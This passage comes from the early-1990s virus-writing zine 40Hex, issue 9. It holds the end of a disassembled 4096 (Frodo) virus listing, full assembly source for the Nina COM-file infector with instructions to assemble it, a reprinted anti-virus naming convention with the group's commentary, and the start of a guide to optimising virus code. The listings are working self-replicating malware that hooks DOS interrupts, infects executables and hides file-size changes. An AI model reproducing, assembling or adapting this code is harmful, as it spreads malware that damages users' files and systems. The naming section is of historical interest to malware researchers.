  2891.                 call    callint21
  2892.                 jmp     short exitallocate_memory
  2893. continue_allocate_memory:
  2894.                 dec     dx                      ; get segment of MCB
  2895.                 mov     ds,dx
  2896.                 mov     word ptr ds:[1],0       ; mark unused MCB
  2897.                 inc     dx                      ; go to memory area
  2898.                 mov     ds,dx
  2899.                 mov     es,ax
  2900.                 push    ax
  2901.                 mov     word ptr cs:int21store+2,ax ; fixup segment
  2902.                 xor     si,si
  2903.                 mov     di,si
  2904.                 mov     cx,0B00h
  2905.                 rep     movsw                   ; copy virus up there
  2906.                 dec     ax                      ; go to MCB
  2907.                 mov     es,ax
  2908.                 mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
  2909.                 mov     es:[1],ax               ; make vir ID = DOS PSP ID
  2910.                 mov     ax,offset exitallocate_memory
  2911.                 push    ax
  2912.                 retf
  2913.  
  2914. exitallocate_memory:
  2915.                 retn
  2916.  
  2917. get_device_info:
  2918.                 mov     byte ptr cs:hide_size,2
  2919.                 jmp     exitotherint21
  2920.  
  2921. callint21: ; call original int 21h handler (tunnelled)
  2922.                 pushf
  2923.                 call    dword ptr cs:oldint21
  2924.                 retn
  2925.  
  2926. bootblock:
  2927.                 cli
  2928.                 xor     ax,ax                   ; set new stack just below
  2929.                 mov     ss,ax                   ; start of load area for
  2930.                 mov     sp,7C00h                ; boot block
  2931.                 jmp     short enter_bootblock
  2932. borderchars     db      'ÜÜÜ '
  2933.  
  2934. FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
  2935.                 db      11111001b,11100000b,11100011b,11000011b,10000000b
  2936.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  2937.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  2938.                 db      11110001b,11110001b,00010010b,00100100b,01000000b
  2939.                 db      10000001b,00100001b,00010010b,00100100b,01000000b
  2940.                 db      10000001b,00010000b,11100011b,11000011b,10000000b
  2941.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  2942.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  2943.                 db      10000010b,01000100b,11111000b,01110000b,11000000b
  2944.                 db      10000010b,01000100b,10000000b,10001000b,11000000b
  2945.                 db      10000010b,01000100b,10000000b,10000000b,11000000b
  2946.                 db      10000010b,01000100b,11110000b,01110000b,11000000b
  2947.                 db      10000010b,00101000b,10000000b,00001000b,11000000b
  2948.                 db      10000010b,00101000b,10000000b,10001000b,00000000b
  2949.                 db      11110010b,00010000b,11111000b,01110000b,11000000b
  2950. enter_bootblock:
  2951.                 push    cs
  2952.                 pop     ds
  2953.                 mov     dx,0B000h               ; get video page in bh
  2954.                 mov     ah,0Fh                  ; get video mode in al
  2955.                 int     10h                     ; get columns in ah
  2956.  
  2957.                 cmp     al,7                    ; check if colour
  2958.                 je      monochrome
  2959.                 mov     dx,0B800h               ; colour segment
  2960. monochrome:
  2961.                 mov     es,dx                   ; es->video segment
  2962.                 cld
  2963.                 xor     di,di
  2964.                 mov     cx,25*80                ; entire screen
  2965.                 mov     ax,720h                 ; ' ', normal attribute
  2966.                 rep     stosw                   ; clear the screen
  2967.                 mov     si,7C00h+FRODO_LIVES-bootblock
  2968.                 mov     bx,2AEh
  2969. morelinestodisplay:
  2970.                 mov     bp,5
  2971.                 mov     di,bx
  2972. displaymorebackgroundontheline:
  2973.                 lodsb                           ; get background pattern
  2974.                 mov     dh,al
  2975.                 mov     cx,8
  2976.  
  2977. displayinitialbackground:
  2978.                 mov     ax,720h
  2979.                 shl     dx,1
  2980.                 jnc     spacechar
  2981.                 mov     al,'Ü'
  2982. spacechar:
  2983.                 stosw
  2984.                 loop    displayinitialbackground
  2985.  
  2986.                 dec     bp
  2987.                 jnz     displaymorebackgroundontheline
  2988.                 add     bx,80*2                 ; go to next line
  2989.                 cmp     si,7C00h+enter_bootblock-bootblock
  2990.                 jb      morelinestodisplay
  2991.                 mov     ah,1                    ; set cursor mode to cx
  2992.                 int     10h
  2993.  
  2994.                 mov     al,8                    ; set new int 8 handler
  2995.                 mov     dx,7C00h+int8-bootblock ; to spin border
  2996.                 call    setvect
  2997.                 mov     ax,7FEh                 ; enable timer interrupts only
  2998.                 out     21h,al
  2999.  
  3000.                 sti
  3001.                 xor     bx,bx
  3002.                 mov     cx,1
  3003.                 jmp     short $                 ; loop forever while
  3004.                                                 ; spinning the border
  3005.  
  3006. int8:                                           ; the timer interrupt spins
  3007.                 dec     cx                      ; the border
  3008.                 jnz     endint8
  3009.                 xor     di,di
  3010.                 inc     bx
  3011.                 call    spin_border
  3012.                 call    spin_border
  3013.                 mov     cl,4                    ; wait 4 more ticks until
  3014. endint8:                                        ; next update
  3015.                 mov     al,20h                  ; Signal end of interrupt
  3016.                 out     20h,al
  3017.                 iret
  3018.  
  3019. spin_border:
  3020.                 mov     cx,28h                  ; do 40 characters across
  3021.  
  3022. dohorizontal:
  3023.                 call    lookup_border_char
  3024.                 stosw
  3025.                 stosw
  3026.                 loop    dohorizontal
  3027. patch2:
  3028.                 add     di,9Eh                  ; go to next line
  3029.                 mov     cx,17h                  ; do for next 23 lines
  3030.  
  3031. dovertical:                                     ; handle vertical borders
  3032.                 call    lookup_border_char      ; get border character
  3033.                 stosw                           ; print it on screen
  3034. patch3:
  3035.                 add     di,9Eh                  ; go to next line
  3036.                 loop    dovertical
  3037. patch1:
  3038.                 std
  3039.         ; this code handles the other half of the border
  3040.                 xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
  3041.                 xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
  3042.                 xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
  3043.                 retn
  3044.  
  3045.  
  3046. lookup_border_char:
  3047.                 and     bx,3                    ; find corresponding border
  3048.                 mov     al,ds:[bx+7C00h+borderchars-bootblock]
  3049.                 inc     bx                      ; character
  3050.                 retn
  3051.  
  3052.  
  3053. setvect:
  3054.                 push    es
  3055.                 push    bx
  3056.                 xor     bx,bx
  3057.                 mov     es,bx
  3058.                 mov     bl,al                   ; int # to bx
  3059.                 shl     bx,1                    ; int # * 4 = offset in
  3060.                 shl     bx,1                    ; interrupt table
  3061.                 mov     es:[bx],dx              ; set the vector in the
  3062.                 mov     es:[bx+2],ds            ; interrupt table
  3063.                 pop     bx
  3064.                 pop     es
  3065.                 retn
  3066.  
  3067.  
  3068. writebootblock: ; this is an unfinished subroutine; it doesn't work properly
  3069.                 call    replaceint13and24
  3070.                 mov     dl,80h
  3071.                 db      0E8h, 08h, 00h, 32h,0D2h,0E8h
  3072.                 db       03h, 01h, 00h, 9Ah, 0Eh, 32h
  3073.                 db       08h, 70h, 00h, 33h, 0Eh, 2Eh
  3074.                 db       03h, 6Ch, 15h, 03h, 00h, 26h
  3075.                 db       00h, 00h, 00h, 21h, 00h, 50h
  3076.                 db       12h, 65h, 14h, 82h, 08h, 00h
  3077.                 db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
  3078.                 db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
  3079.                 db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
  3080.                 db       00h,0E2h, 0Ch, 50h
  3081.  
  3082.                 org 1200h
  3083. readbuffer      dw      ? ; beginning of the read buffer
  3084. lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
  3085. lengthinpages   dw      ? ; EXE header item - length of image in pages
  3086. relocationitems dw      ? ; EXE header item - # relocation items
  3087. headersize      dw      ? ; EXE header item - header size in paragraphs
  3088. minmemory       dw      ? ; EXE header item - minimum memory allocation
  3089. maxmemory       dw      ? ; EXE header item - maximum memory allocation
  3090. initialSS       dw      ? ; EXE header item - initial SS value
  3091. initialSP       dw      ? ; EXE header item - initial SP value
  3092. wordchecksum    dw      ? ; EXE header item - checksum value
  3093. initialIP       dw      ? ; EXE header item - initial IP value
  3094. initialCS       dw      ? ; EXE header item - initial CS value
  3095.                 db      12 dup (?) ; rest of header - unused
  3096. parmblock       dd      ? ; address of parameter block
  3097. filedrive       db      ? ; 0 = default drive
  3098. filetime        dw      ? ; saved file time
  3099. filedate        dw      ? ; saved file date
  3100. origints        dd      ? ; temporary scratch buffer for interrupt vectors
  3101. oldint1         dd      ? ; original interrupt 1 vector
  3102. oldint21        dd      ? ; original interrupt 21h vector
  3103. oldint13        dd      ? ; original interrupt 13h vector
  3104. oldint24        dd      ? ; original interrupt 24h vector
  3105. int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
  3106. carrierPSP      dw      ? ; carrier file PSP segment
  3107. DOSsegment      dw      ? ; segment of DOS list of lists
  3108. ownerfirstMCB   dw      ? ; owner of the first MCB
  3109. jmpfarptr       db      ? ; 0eah, jmp far ptr
  3110. int21store      dd      ? ; temporary storage for other 4 bytes
  3111.                           ; and for pointer to virus int 21h
  3112. tracemode       db      ? ; trace mode
  3113. instructionstotrace  db ? ; number of instructions to trace
  3114. handletable     dw      28h dup (?) ; array of handles
  3115. handlesleft     db      ? ; entries left in table
  3116. currentPSP      dw      ? ; storage for the current PSP segment
  3117. curfileposlow   dw      ? ; current file pointer location, low word
  3118. curfileposhigh  dw      ? ; current file pointer location, high word
  3119. filesizelow     dw      ? ; current file size, low word
  3120. filesizehigh    dw      ? ; current file size, high word
  3121. savebuffer      dw      ? ; storage for handle read, etc.
  3122. savelength      dw      ? ; functions
  3123. return_code     dw      ? ; returned in AX on exit of int 21h
  3124. int21flags      dw      ? ; storage of int 21h return flags register
  3125. tempFCB         db      25h dup (?) ; copy of the FCB
  3126. errorflag       db      ? ; 0 if no error, 1 if error
  3127. int13flags      dw      ? ; storage of int 13h return flags register
  3128. savess          dw      ? ; temporary storage of stack segment
  3129. savesp          dw      ? ; and stack pointer
  3130. BREAKsave       db      ? ; current BREAK state
  3131. checkres        db      ? ; already installed flag
  3132. initialax       dw      ? ; AX upon entry to carrier
  3133. saveIMR         db      ? ; storage for interrupt mask register
  3134. saveoffset      dw      ? ; temp storage of CS:IP of
  3135. savesegment     dw      ? ; caller to int 21h
  3136. pushpopalltempstore  dw ? ; push/popall caller address
  3137. numfreeclusters dw      ? ; total free clusters
  3138. DOSversion      db      ? ; current DOS version
  3139. hideclustercountchange db ? ; flag of whether to hide free cluster count
  3140. hide_size       db      ? ; hide filesize increase if equal to 0
  3141. copyparmblock   db      0eh dup (?) ; copy of the parameter block
  3142. origsp          dw      ? ; temporary storage of stack pointer
  3143. origss          dw      ? ; and stack segment
  3144. origcsip        dd      ? ; temporary storage of caller CS:IP
  3145. copyfilename    db      50h dup (?) ; copy of filename
  3146. storesp         dw      ? ; temporary storage of stack pointer
  3147. storess         dw      ? ; and stack segment
  3148. stackptr        dw      ? ; register storage stack pointer
  3149. storecall       dw      ? ; temporary storage of function offset
  3150.  
  3151. topstack = 1600h
  3152.  
  3153. _4096           ends
  3154.                 end
  3155.  
  3156. 40Hex Number 9 Volume 2 Issue 5                                       File 006
  3157.  
  3158. Below is the Nina virus.  It's a 256 byte generic COM infector supposedly
  3159. originating in Bulgaria.  Although some minor portions are not as highly
  3160. optimised as they could be, the code is well-written.  Items of note include
  3161. the infection method, which is somewhat reminiscent of Jerusalem, the
  3162. installation check handler in int 21h, and the residency routine.  As always,
  3163. use Tasm to assemble.
  3164.  
  3165.                                                 Dark Angel
  3166.  
  3167. .model tiny
  3168. .code
  3169. org 100h
  3170. ; Disassembly done by Dark Angel of Phalcon/Skism
  3171. ; for 40Hex Number 9, Volume 2 Issue 5
  3172. start:
  3173.                 push    ax
  3174.                 mov     ax,9753h                ; installation check
  3175.                 int     21h
  3176.                 mov     ax,ds
  3177.                 dec     ax
  3178.                 mov     ds,ax                   ; ds->program MCB
  3179.                 mov     ax,ds:[3]               ; get size word
  3180.                 push    bx
  3181.                 push    es
  3182.                 sub     ax,40h                  ; reserve 40h paragraphs
  3183.                 mov     bx,ax
  3184.                 mov     ah,4Ah                  ; Shrink memory allocation
  3185.                 int     21h
  3186.  
  3187.                 mov     ah,48h                  ; Allocate 3Fh paragraphs
  3188.                 mov     bx,3Fh                  ; for the virus
  3189.                 int     21h
  3190.  
  3191.                 mov     es,ax                   ; copy virus to high
  3192.                 xor     di,di                   ; memory
  3193.                 mov     si,offset start + 10h   ; start at MCB:110h
  3194.                 mov     cx,100h                 ; (same as PSP:100h)
  3195.                 rep     movsb
  3196.                 sub     ax,10h                  ; adjust offset as if it
  3197.                 push    ax                      ; originated at 100h
  3198.                 mov     ax,offset highentry
  3199.                 push    ax
  3200.                 retf
  3201.  
  3202. endfile         dw      100h ; size of infected COM file
  3203.  
  3204. highentry:
  3205.                 mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
  3206.                                                 ; memory isn't freed when the
  3207.                                                 ; program terminates
  3208.                 mov     ax,3521h                ; get int 21h vector
  3209.                 int     21h
  3210.  
  3211.                 mov     word ptr cs:oldint21,bx ; save it
  3212.                 mov     word ptr cs:oldint21+2,es
  3213.                 push    es
  3214.                 pop     ds
  3215.                 mov     dx,bx
  3216.                 mov     ax,2591h                ; redirect int 91h to int 21h
  3217.                 int     21h
  3218.  
  3219.                 push    cs
  3220.                 pop     ds
  3221.                 mov     dx,offset int21
  3222.                 mov     al,21h                  ; set int 21h to virus vector
  3223.                 int     21h
  3224.  
  3225.                 pop     ds                      ; ds->original program PSP
  3226.                 pop     bx
  3227.                 push    ds
  3228.                 pop     es
  3229. return_COM:
  3230.                 mov     di,100h                 ; restore original
  3231.                 mov     si,endfile              ; file
  3232.                 add     si,di                   ; adjust for COM starting
  3233.                 mov     cx,100h                 ; offset
  3234.                 rep     movsb
  3235.                 pop     ax
  3236.                 push    ds                      ; jmp back to original
  3237.                 mov     bp,100h                 ; file (PSP:100)
  3238.                 push    bp
  3239.                 retf
  3240. exit_install:
  3241.                 pop     ax                      ; pop CS:IP and flags in
  3242.                 pop     ax                      ; order to balance the
  3243.                 pop     ax                      ; stack and then exit the
  3244.                 jmp     short return_COM        ; infected COM file
  3245. int21:
  3246.                 cmp     ax,9753h                ; installation check?
  3247.                 je      exit_install
  3248.                 cmp     ax,4B00h                ; execute?
  3249.                 jne     exitint21               ; nope, quit
  3250.                 push    ax                      ; save registers
  3251.                 push    bx
  3252.                 push    cx
  3253.                 push    dx
  3254.                 push    ds
  3255.                 call    infect
  3256.                 pop     ds                      ; restore registers
  3257.                 pop     dx
  3258.                 pop     cx
  3259.                 pop     bx
  3260.                 pop     ax
  3261. exitint21:
  3262.                 db      0eah ; jmp far ptr
  3263. oldint21        dd      ?
  3264.  
  3265. infect:
  3266.                 mov     ax,3D02h                ; open file read/write
  3267.                 int     91h
  3268.                 jc      exit_infect
  3269.                 mov     bx,ax
  3270.                 mov     cx,100h
  3271.                 push    cs
  3272.                 pop     ds
  3273.                 mov     ah,3Fh                  ; Read first 100h bytes
  3274.                 mov     dx,offset endvirus
  3275.                 int     91h
  3276.                 mov     ax,word ptr endvirus
  3277.                 cmp     ax,'MZ'                 ; exit if EXE
  3278.                 je      close_exit_infect
  3279.                 cmp     ax,'ZM'                 ; exit if EXE
  3280.                 je      close_exit_infect
  3281.                 cmp     word ptr endvirus+2,9753h ; exit if already
  3282.                 je      close_exit_infect       ; infected
  3283.                 mov     al,2                    ; go to end of file
  3284.                 call    move_file_pointer
  3285.                 cmp     ax,0FEB0h               ; exit if too large
  3286.                 ja      close_exit_infect
  3287.                 cmp     ax,1F4h                 ; or too small for
  3288.                 jb      close_exit_infect       ; infection
  3289.                 mov     endfile,ax              ; save file size
  3290.                 call    write
  3291.                 mov     al,0                    ; go to start of file
  3292.                 call    move_file_pointer
  3293.                 mov     dx,100h                 ; write virus
  3294.                 call    write
  3295. close_exit_infect:
  3296.                 mov     ah,3Eh                  ; Close file
  3297.                 int     91h
  3298. exit_infect:
  3299.                 retn
  3300.  
  3301. move_file_pointer:
  3302.                 push    dx
  3303.                 xor     cx,cx
  3304.                 xor     dx,dx
  3305.                 mov     ah,42h
  3306.                 int     91h
  3307.                 pop     dx
  3308.                 retn
  3309.  
  3310. write:
  3311.                 mov     ah,40h
  3312.                 mov     cx,100h
  3313.                 int     91h
  3314.                 retn
  3315.  
  3316.                 db      ' Nina '
  3317. endvirus:
  3318.                 int     20h ; original COM file
  3319.  
  3320.                 end     start
  3321. 40Hex Number 9 Volume 2 Issue 5                                       File 007
  3322.  
  3323. -------------------------------------------------------------------------
  3324.                     A New Virus Naming Convention
  3325.  
  3326.  
  3327. At the Anti-Virus Product Developers Conference organized by NCSA in
  3328. Washington in November 1991 a committee was formed with the objective
  3329. of reducing the confusion in virus naming.  This committee consisted
  3330. of Fridrik Skulason (Virus Bulletin's technical editor) Alan Solomon
  3331. (S&S International) and Vesselin Bontchev (University of Hamburg).
  3332.  
  3333. The following naming convention was chosen:
  3334.  
  3335. The full name of a virus consists of up to four parts, desimited by
  3336. points ('.').  Any part may be missing, but at least one must be
  3337. present.  The general format is
  3338.  
  3339.         Family_Name.Group_Name.Major_Variant.Minor_Variant
  3340.  
  3341. Each part is an identifier, constructed with the characters
  3342. [A-Za-z0-9_$%&!'`#-].  The non-alphanumeric characters are permitted,
  3343. but should be avoided.  The identifier is case-insensitive, but
  3344. mixed-case characters should be used for readability.  Usage of
  3345. underscore ('_') (instead of space) is permitted, if it improves
  3346. readability.  Each part is up to 20 characters long (in order to allow
  3347. such monstriosities like "Green_Caterpillar"), but shorter names
  3348. should be used whenever possible.  However, if the shorter name is
  3349. just an abbreviation of the long name, it's better to use the long
  3350. name.
  3351.  
  3352. 1. Family names.
  3353.  
  3354. The Family_Name represents the family to which the virus belongs.
  3355. Every attempt is made to group the existing viruses into families,
  3356. depending on the structural similarities of the viruses, but we
  3357. understand that a formal definition of a family is impossible.
  3358.  
  3359. When selecting a Family_Name, the following guidelines must be
  3360. applied:
  3361.  
  3362.                                 "Must"
  3363.  
  3364. 1) Do not use company names, brand names or names of living people,
  3365.    except where the virus is provably written by the person.  Common
  3366.    first names are permissible, but be careful - avoid if possible.
  3367.    In particular, avoid names associated with the anti-virus world.
  3368.    If a virus claims to be written by a particular person or company
  3369.    do not believe it without further proof.
  3370.  
  3371. 2) Do not use an existing Family_Name, unless the viruses belong to
  3372.    the same family.
  3373.  
  3374. 3) Do not invent a new name if there is an existing, acceptable name.
  3375.  
  3376. 4) Do not use obscene or offensive names.
  3377.  
  3378. 5) Do not assume that just because an infected sample arrives with a
  3379.    particular name, that the virus has that name.
  3380.  
  3381. 6) Avoid numeric Family_Names like V845.  They should never be used as
  3382.    family names, as the members of the family may have different
  3383.    lengths.  When a new virus appears and a new Family_Name must be
  3384.    selected for it, it is acceptable to us a temporary name like
  3385.    _1234, but this must be changed as soon as possible.
  3386.  
  3387.                                "Should"
  3388.  
  3389. 1) Avoid Family_Names like Friday 13th, September 22nd.  They should
  3390.    not be used as family names, as members of the family may have
  3391.    different activation dates.
  3392.  
  3393. 2) Avoid geographic names which are based on the discovery site - the
  3394.    same virus might appear simultaneously in several different places.
  3395.  
  3396. 3) If multiple acceptable names exist, select the original one, the
  3397.    one used by the majority of existing anti-virus programs or the
  3398.    more descriptive one.
  3399.  
  3400.                               "General"
  3401.  
  3402. 1) All short (less than 60 bytes) overwriting viruses are grouped
  3403.    under a Family_Name, called Trivial.
  3404.  
  3405. 2. Group names.
  3406.  
  3407. The Group_Name represents a major group of similar viruses in a virus
  3408. family, something like a sub-family.  Examples are AntiCAD (a
  3409. distinguished clone of the Jerusalem family, containing numerous
  3410. variants), or 1704 (a group of several virus variants in the Cascade
  3411. family).
  3412.  
  3413. When selecting a Group_Name, the same guidelines as for a Family_Name
  3414. should be applied, except that numeric names are more permissible -
  3415. but only if the respective group of viruses is well known under this
  3416. name.
  3417.  
  3418. 3. Major variant name.
  3419.  
  3420. The major variant name is used to group viruses in a Group_Name, which
  3421. are very similar, and usually have one and the same infective length.
  3422. Again, the above guidelines are applied, with one major exception.
  3423. The Major_Variant is almost always a number, representing the
  3424. infective length, since it helps to distinguish that particular
  3425. sub-group of viruses.  The infective length should be used as
  3426. Major_Variant name always when it is known.  Exceptions of this rule
  3427. are:
  3428.  
  3429. 1) When the infective length is not known, because the viruses are not
  3430.    yet analyzed.  In this case, consecutive numbers are used (1, 2, 3,
  3431.    etc.).  This should be changed as soon as more information about
  3432.    the viruses becomes known.
  3433.  
  3434. 2) When an alpha-numeric name of the virus sub-group already exists
  3435.    and is popular, or more descriptive.
  3436.  
  3437. 4. Minor variant name.
  3438.  
  3439. Minor variants are viruses with the same infective length, with
  3440. similar structure and behaviour, but slightly different.  Usually the
  3441. minor variants are different patches of one and the same virus.
  3442.  
  3443. When selecting a Minor_Variant name, usually consecutive letters of
  3444. the alphabet are used (A, B, C, etc...).  However, this is not a very
  3445. hard restriction and longer names can be used as well, especially if
  3446. the virus is already known under this (longer) name, or if the name is
  3447. more descriptive than just a letter.
  3448.  
  3449.  
  3450. The producers of virus detection software are strongly usrged to use
  3451. the virus names proposed here. The anti-virus researchers are advised
  3452. to use the described guidelines when selecting names for new viruses,
  3453. in order to avoid further confusion.
  3454.  
  3455. If a scanner is not able to distinguish between tow minor variants of
  3456. a virus, it should output the virus name up to the recognized major
  3457. variant. For instance, if it cannot distinguish between
  3458. Dark_Avenger.2000.Traveller.Copy and Dark.Avenger.Traveller.Zopy, it
  3459. should report both variants of the virus as Dark.Avenger.Traveller.
  3460.  
  3461. If it is also not able to distinguish between the major variants, it
  3462. should report the virus up to the recognized group name.  That is, if
  3463. the scanner cannot make the difference between
  3464. Dark_Avenger.2000.Traveller.* and Dark_Avenger.2000.Die_Young, it
  3465. should report all the variants as Dark_Avenger.2000.
  3466. -------------------------------------------------------------------------
  3467.  
  3468.      We at Phalcon/Skism welcome the proposals of this new committee.  It
  3469. is a step in the right direction, helping clear up the mess caused by the
  3470. generation disorganisation which has dominated the virus naming conventions
  3471. to date.  Additionally, if implemented properly, it will aid in
  3472. identification of strains.  John McAfee's SCAN, which had been the best
  3473. virus scanner, fell from grace recently, when it implemented a new policy
  3474. of merging scan strings, causing confusion in identification.  Fridrik
  3475. Skulason's F-Prot is the current champion of virus identification.
  3476.  
  3477.      However, we must voice concerns that the rules are not strict enough.
  3478. There are clearly too few rules to cover the numerous viruses which
  3479. currently exist.  Family, group, and major variant names for most current
  3480. common viruses should be established now.  These guidelines need be created
  3481. ASAP to avoid later confusion.  In the example in the last two paragraphs,
  3482. Dark Avenger strains are labelled separately as Dark_Avenger.2000 and
  3483. Dark.Avenger.  Such confusion is simply not acceptable.
  3484.  
  3485.      Wherever possible, the current common names should be kept.  It would
  3486. be a shame if the world lost the Jerusalem family to some mad individual
  3487. who wishes to name it 1808.  The rules cover this, but it is important to
  3488. set this down initially before stupid people butcher the rules.  Number
  3489. names are neither informative nor interesting.  Imagine advertising a
  3490. product as being able to catch "the deadly 605 virus."  Some knobs have
  3491. proposed a numerical classification scheme of viruses.  They're living in a
  3492. dream world.
  3493.  
  3494.      We applaud the efforts of the committee and may only hope that anti-
  3495. virus developers attempt to adhere to the proposed rules.  Hopefully, Mr.
  3496. Skulason and Dr. Solomon will lead the way, converting their own products
  3497. to this new naming convention.  And who will classify the viruses?  We
  3498. propose an open forum for discussion on a large network such as UseNet or
  3499. FidoNet moderated by either a virus researcher or anti-virus developer.
  3500. This will allow input from many people, some of whom have particular
  3501. specialties within certain groups of viruses.
  3502. 40Hex Number 9 Volume 2 Issue 5                                       File 008
  3503.  
  3504.                      ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  3505.                      CODE OPTIMISATION, A BEGINNER'S GUIDE
  3506.                      ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  3507.                              Written by Dark Angel
  3508.                      ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
  3509.   
  3510.   When writing  a virus, size is a primary concern.  A bloated virus carrying
  3511.   unnecessary baggage  will run slower than its optimised counterpart and eat
  3512.   up more disk space.
  3513.   
  3514.   Never optimise  any code  before it  works fully, since altering code after
  3515.   optimisation often  messes up  the optimisation and, in turn, messes up the
  3516.   code.   After it works, the focus can shift to optimisation.  Always keep a
  3517.   backup of  the last  working copy of the virus, as optimisation often leads
  3518.   to improperly  working code.   With  this in  mind,  a  few  techniques  of
  3519.   optimisation will be introduced.
  3520.   
  3521.   There are  two types  of optimisation:  structural and  local.   Structural
  3522.   optimisation occurs  when shifting  the position  of code or rethinking and
  3523.   reordering the functions of the virus shorten its length.  A simple example
  3524.   follows:
  3525.   
  3526.   check_install:
  3527.     mov ax,1234h
  3528.     int 21h
  3529.     cmp bx,1234h
  3530.     ret
  3531.   
  3532.   install_virus:
  3533.     call check_install
  3534.     jz   exit_install
  3535.   
  3536.   If this  is the  only instance  that the procedure check_install is called,
  3537.   the following optimisation may be made:
  3538.   
  3539.   install_virus:
  3540.     mov ax,1234h
  3541.     int 21h
  3542.     cmp bx,1234h
  3543.     jz  exit_install
  3544.   
  3545.   The first fragment wastes a total of 4 bytes - 3 for the call and 1 for the
  3546.   ret.   Four bytes  may not seem to be worth the effort, but after many such
  3547.   optimisations, the  code size  may be  brought  down  significantly.    The
  3548.   reverse of  this optimisation,  using procedures in lieu of repetitive code
  3549.   fragments, may work in other instances.  Properly designed and well-thought
  3550.   out  code  will  allow  for  such  an  optimisation.    Another  structural
  3551.   optimisation:
  3552.   
  3553.   get attributes
  3554.   open file read/only
  3555.   read file
  3556.   close file
  3557.   exit if already infected
  3558.   clear attributes
  3559.   open file read/write
  3560.   get file time/date
  3561.   write new header
  3562.   move file pointer to end of file
  3563.   concatenate virus
  3564.   restore file time/date
  3565.   close file
  3566.   restore attributes
  3567.   exit
  3568.   
  3569.   Change the above to:
  3570.   
  3571.   get attributes
  3572.   clear attributes
  3573.   open file read/write
  3574.   read file
  3575.   if infected, exit to close file
  3576.   get file time/date
  3577.   move file pointer to end of file
  3578.   concatenate virus
  3579.   move file pointer to beginning
  3580.   write new header
  3581.   restore file time/date
  3582.   close file
  3583.   restore attributes
  3584.   exit
  3585.   
  3586.   By using  the second,  an open  file and  a close file are eliminated while
  3587.   adding only  one move file pointer request.  This can save a healthy number
  3588.   of bytes.
  3589.   
  3590.   Local, or  peephole, optimisation  is often  easier to  do than  structural
  3591.   optimisation.   It consists  of changing  individual  statements  or  short
  3592.   groups of statements to save bytes.
  3593.   
  3594.   The easiest  type of  peephole optimisation  is a simple replacement of one
  3595.   line with  a functional  equivalent that  takes  fewer  bytes.    The  8086
  3596.   instruction set abounds with such possibilities.  A few examples follow.
  3597.   
  3598.   Perhaps the most widespread optimisation, replace:
  3599.     mov ax,0 ; this instruction is 3 bytes long
  3600.     mov bp,0 ; mov reg, 0 with any reg = nonsegment register takes 3 bytes
  3601.   with
  3602.     xor ax,ax ; this takes but 2 bytes
  3603.     xor bp,bp ; mov reg, 0 always takes 2 bytes
  3604.   or even
  3605.     sub ax,ax ; also takes 2 bytes
  3606.     sub bp,bp
  3607.   
  3608.   One of  the easiest  optimisations, yet often overlooked by novices, is the
  3609.   merging of lines.  As an example, replace:
  3610.     mov bh,5h   ; two bytes
  3611.     mov bl,32h  ; two bytes
  3612.                 ; total: four bytes
  3613.   with
  3614.     mov bx,532h ; three bytes, save one byte
  3615.   
  3616.   A very  useful optimisation  moving the  file handle from ax to bx follows.
  3617.   Replace:
  3618.     mov  bx,ax   ; 2 bytes
  3619.   with
  3620.     xchg ax,bx   ; 1 byte
  3621.   
  3622.   Another easy  optimisation which  can most  easily applied  to file pointer
  3623.   moving operations:
  3624.   Replace
  3625.     mov ax,4202h  ; save one byte from "mov ah,42h / mov al,2"
  3626.     xor dx,dx     ; saves one byte from "mov dx,0"
  3627.     xor cx,cx     ; same here
  3628.     int 21h
  3629.   with
  3630.     mov ax,4202h
  3631.     cwd           ; equivalent to "xor dx,dx" when ax < 8000h
  3632.     xor cx,cx
  3633.     int 21h
  3634.   
  3635.   Sometimes it may be desirable to use si as the delta offset variable, as an
  3636.   instruction  involving  [si]  takes  one  less  byte  to  encode  than  its
  3637.   equivalent using  [bp].   This does  NOT work  with  combinations  such  as
  3638.   [si+1].  Examples:
  3639.   
  3640.     mov  ax,[bp]                ; 3 bytes
  3641.     mov  word ptr cs:[bp],1234h ; 6 bytes
  3642.     add  ax,[bp+1]              ; 3 bytes - no byte savings will occur
  3643.   
  3644.     mov  ax,[si]                ; 2 bytes
  3645.     mov  word ptr cs:[si],1234h ; 5 bytes
  3646.     add  ax,[si+1]              ; 3 bytes - this is not smaller
  3647.   
  3648.   A somewhat strange and rather specialised optimisation:
  3649.     inc al  ; 2 bytes
  3650.     inc bl  ; 2 bytes
  3651.   versus
  3652.     inc ax  ; 1 byte
  3653.     inc bx  ; 1 byte
  3654.   
  3655.   A structural  optimisation can  also involve getting rid of redundant code.
  3656.   As a  virus related  example, consider  the  infection  routine.    In  few
  3657.   instances is an error-trapping routine after each interrupt call necessary.
  3658.   A single  "jc error" is needed, say after the first disk-writing interrupt,
  3659.   and if  that succeeds, the rest should also work fine.  Another possibility
  3660.   is to use a critical error handler instead of error checking.
  3661.   
  3662.   How about this example of optimised code:
  3663.     mov  ax, 4300h   ; get file attributes
  3664.     mov  dx, offset filename
  3665.     int  21h
  3666.   
  3667.     push dx          ; save filename
  3668.     push cx          ; and attributes on stack
  3669.   
  3670.     inc  ax          ; ax = 4301h = set file attributes
  3671.     push ax          ; save 4301h on stack
  3672.     xor  cx,cx       ; clear attributes
  3673.     int  21h
  3674.   
  3675.   ...rest of infection...
  3676.   
  3677.     pop  ax          ; ax = 4301h
  3678.     pop  cx          ; cx = original attributes of file
  3679.     pop  dx          ; dx-> original filename
  3680.     int  21h
  3681.   
  3682.   Optimisation is  almost always  code-specific.   Through a  combination  of
  3683.   restructuring and  line replacement,  a  good  programmer  can  drastically
